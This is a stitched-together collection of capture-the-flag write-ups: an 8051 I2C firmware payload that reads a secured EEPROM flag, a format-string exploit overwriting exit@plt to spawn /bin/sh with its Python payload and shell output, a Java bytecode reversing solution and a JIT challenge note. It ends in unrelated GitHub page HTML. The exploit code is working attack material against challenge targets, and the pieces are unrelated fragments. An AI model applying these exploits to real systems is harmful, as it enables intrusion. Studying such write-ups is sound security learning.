for (i = 0; i < 8; i++) { RAW_I2C_SCL = 0; RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0; RAW_I2C_SCL = 1; }}
void send_7bit(unsigned char byte) { unsigned char i;
for (i = 1; i < 7; i++) { RAW_I2C_SCL = 0; RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0; RAW_I2C_SCL = 1; }}
unsigned char recv_byte(void) { unsigned char ret = 0; unsigned char i;
for (i = 0; i < 8; i++) { RAW_I2C_SCL = 0; RAW_I2C_SCL = 1; ret = 2 * ret | RAW_I2C_SDA; }
return ret;}
unsigned char recv_ack(void) { RAW_I2C_SCL = 0; RAW_I2C_SCL = 1; return RAW_I2C_SDA ^ 1;}
void read_flag() { unsigned char i;
print("[PL] Reading flag...");
// start a write transaction send_start(); send_byte(SEEPROM_I2C_ADDR_MEMORY); recv_ack();
// send an unsecured address send_byte(0); recv_ack();
// start a write transaction send_start(); send_byte(SEEPROM_I2C_ADDR_MEMORY); recv_ack();
// send the upper 7 bits of the secured address send_7bit(64);
// start a new transaction, which shifts a 1 into the address lsb send_start();
// this is a read transaction send_byte(SEEPROM_I2C_ADDR_MEMORY | 1); recv_ack();
// read the flag, starting from address 65 FLAG[0] = 'C'; for (i = 1; i < 64; i++) { FLAG[i] = recv_byte(); recv_ack(); }
print("DONE\n");}
void main(void) { read_flag();
print("[PL] Flag: "); print(FLAG); print("\n");
POWEROFF = 1;}```
# Dumping the FlagBuild the payload```$ makesdcc payload.cobjcopy -I ihex -O binary payload.ihx payload.bin```
Run our script```$ python do.py[+] Opening connection to flagrom.ctfcompetition.com on port 1337: Done
Executing firmware...[FW] Writing flag to SecureEEPROM...............DONE[FW] Securing SecureEEPROM flag banks...........DONE[FW] Removing flag from 8051 memory.............DONE[FW] Writing welcome message to SecureEEPROM....DONEExecuting usercode...[PL] Reading flag...DONE[PL] Flag: CTF{flagrom-and-on-and-on}
Clean exit.[*] Closed connection to flagrom.ctfcompetition.com port 1337``` |
In this pwn challenge with the following description:```nc chall2.2019.redpwn.net 4003```we were given a ELF and it's source code (look at rot26 and rot26.c):
Reading the source code it seems that the software does a rot26 encryption of a string passed via stdin, let's try it:
```bash$ ./rot26asdasd```
Of course rot26 is a shift of 26 character, so nothing will change. Then there is a function that executes a system("/bin/sh") so this piece of code will drop us a shell:
```cvoid winners_room(void){ puts("Please, take a shell!"); system("/bin/sh"); exit(EXIT_SUCCESS);}```
This function, however, is never called so we must use some bugs to overwrite eip register and redirect code execution. Stack overflow though is not feasible because the read is made in a safe way:
```cchar buf[4096];...fgets(buf, sizeof(buf), stdin);```
In the end nothing seems to be wrong, except one particular:
```cchar sanitized[4096];...rot26(sanitized, buf, sizeof(sanitized));printf(sanitized);exit(EXIT_FAILURE);```
We are using printf to print a buffer without the use of a format string, this allow us to perform a format string exploit. Let's verify this bug:
```bash$ ./rot26%x %x %x %x %xffe39f9c 1000 8048791 0 0```
We have found the right path! Now we need only to find a way to redirect the code with the printf. It's important to notice that the only function called after the print statement is exit, we can overwrite the plt entry so whenever the program calls exit(), it calls our shell function!
Firstly we need the address to rewrite:
```$ gdb rot26gdb-peda$ x exit0x80484a0 <exit@plt>: 0xa02025ff```
Then we need the address of the shell function:
```gdb-peda$ x winners_room 0x8048737 <winners_room>: 0x53e58955```
Then we find the right offset of the first word of our input:
```./rot26 AAAA %x %x %x %x %x %x %x %x %x %xAAAA ffabde3c 1000 8048791 0 0 0 41414141 20782520 25207825 78252078```
So the offset is 7, now we decide to write the address in two steps, first we will write the lower part [0x8737], then the higher part [0x804], after some calculation the exploit string is built by:
```pythonshell = 0x8048737exitplt = 0x804a020
exploit = ''exploit += p32(exitplt) #set first address to write toexploit += p32(exitplt+2) #set second address to write toexploit += '%34607x' #print enough character to reach shell[4:]exploit += '%7$n' #write number of character printed in first addressexploit += '%32973x' #print enough character to reach shell[0:4]exploit += '%8$n' #write number of character printed in first address```
Executing it on the server will lead in a bunch of crap printed and at the end the shell:```bash./exploit... 1000Please, take a shell!$ lsMakefilebindevflag.txtliblib32lib64rot26rot26.c$ cat flag.txtflag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}``` |
We're given a java class file upon execution it asks for the flag as an argument:```$java JavaIsEZYou need to specify the flag...$java JavaIsEZ Testflagnoob```The fist thing to do is to try and disassemble it, using javap this is the output:```javap JavaIsEZ.classpublic class JavaIsEZ { public static void main(java.lang.String[]);}```A rather empty main function, suggesting that the code is hidden somehow.We check the bytecode with javap -c Here is the interesting part```public class JavaIsEZ { public static void main(java.lang.String[]); Code: 0: goto 113 3: ldc #1 // String noob 5: jsr 104 8: return 9: pop 10: ldc #2 // String You got it right :P 12: jsr 104 15: return [...]```Java is a stack based machine, and so the code does not contain any registers, a good source for reversing this byte code is https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-6.html
The bytecode i quite short so reversing the entire thing is not infeasible, but making some highlevel observations might make things quicker.I had no luck in debugging it, and so i did it by static analysis only.
At some point we see javap give us these comments:```278: invokevirtual #26 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;281: ldc #6 // String +?>!‼|CU↑o*♣M;j\ts,=♣M;↑☼s*h,J↨F0s?8↕#{Z:283: invokevirtual #27 // Method java/lang/String.equals:(Ljava/lang/Object;)Z```ldc pushes the value from the constant pool to the stack, and it happens to be a string, or at the least string like.Then a method of String.equals is called, a string comparison. This is between some string and the constant, if the result is not zeroa jump is made to instruction 9 which loads and persumably prints "You got it right :P".
So far so good, that string compare needs to pass.Another interesting sub procedure is called right before the above snippet, and pushes a bunch of variables into a int array:```30: astore_1 31: iconst_0 32: istore 7 34: bipush 8 36: newarray int38: astore 8 40: bipush 97 42: jsr 16 45: bipush 71 47: jsr 16 50: bipush 94 52: jsr 16 55: bipush 89 57: jsr 16 60: bipush 90 62: jsr 16 65: bipush 121 67: jsr 16 70: bipush 72 72: jsr 16 75: bipush 53 77: jsr 16 80: ret 1 ```It then builds it into a String array.After this a jump is made to 295, containing this sub procedure:``` 295: pop 296: invokestatic #18 // Method java/util/concurrent/ThreadLocalRandom.current:()Ljava/util/rrent/ThreadLocalRandom; 299: iconst_1 300: ldc #4 // int 65535 302: invokevirtual #19 // Method java/util/concurrent/ThreadLocalRandom.nextInt:(II)I 305: istore 9 307: iconst_0 308: istore 10 310: aload 4 312: monitorexit 313: aload 12 315: aload 4 317: iload 10 319: caload 320: aload 8 322: dup 323: iload 10 325: swap 326: arraylength 327: irem 328: iaload 329: ixor 330: i2c 331: invokevirtual #28 // Method java/lang/StringBuilder.append:(C)Ljava/lang/StringBuilder; 334: pop 335: iinc 10, 1 338: iconst_0 339: istore 9 341: iload 13 343: ifne 113 346: goto 310 349: return ```In short this is code to xor your input string with the built string from before.flag{j4v4_1s_4s_h4rd_4s-n4t1v3_sQ4aaHZ3of} |
* Can use unicode digits to pass the Java validator and cause an integer overflow the compiler* Create a jump to the middle of a MOV instruction* Repeat
https://devcraft.io/2019/06/24/jit-google-ctf-quals-2019.html |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-solutions/20190810-crytoctf/crypto-122-time-capsule at master · pberba/ctf-solutions · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="E438:68DA:20B55685:21B214A3:6412245E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ed70745dbf35910037750f2911c49a616f728e889c43a8a6a42672440dddd887" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNDM4OjY4REE6MjBCNTU2ODU6MjFCMjE0QTM6NjQxMjI0NUUiLCJ2aXNpdG9yX2lkIjoiNzY3MDc3ODk2MzQ2ODM2Mjg0NiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="37dffbabd67798fdf1450b3699dc3a6627497be09b9a2add0ca08e023e22eb30" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:145188639" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to pberba/ctf-solutions development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e5b5d9dd42f4da99e75e3adcfb7fb38b66987fcc88c080bf9240ec30afc8cce9/pberba/ctf-solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-solutions/20190810-crytoctf/crypto-122-time-capsule at master · pberba/ctf-solutions" /><meta name="twitter:description" content="Contribute to pberba/ctf-solutions development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e5b5d9dd42f4da99e75e3adcfb7fb38b66987fcc88c080bf9240ec30afc8cce9/pberba/ctf-solutions" /><meta property="og:image:alt" content="Contribute to pberba/ctf-solutions development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-solutions/20190810-crytoctf/crypto-122-time-capsule at master · pberba/ctf-solutions" /><meta property="og:url" content="https://github.com/pberba/ctf-solutions" /><meta property="og:description" content="Contribute to pberba/ctf-solutions development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/pberba/ctf-solutions git https://github.com/pberba/ctf-solutions.git">
<meta name="octolytics-dimension-user_id" content="6505743" /><meta name="octolytics-dimension-user_login" content="pberba" /><meta name="octolytics-dimension-repository_id" content="145188639" /><meta name="octolytics-dimension-repository_nwo" content="pberba/ctf-solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="145188639" /><meta name="octolytics-dimension-repository_network_root_nwo" content="pberba/ctf-solutions" />
<link rel="canonical" href="https://github.com/pberba/ctf-solutions/tree/master/20190810-crytoctf/crypto-122-time-capsule" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
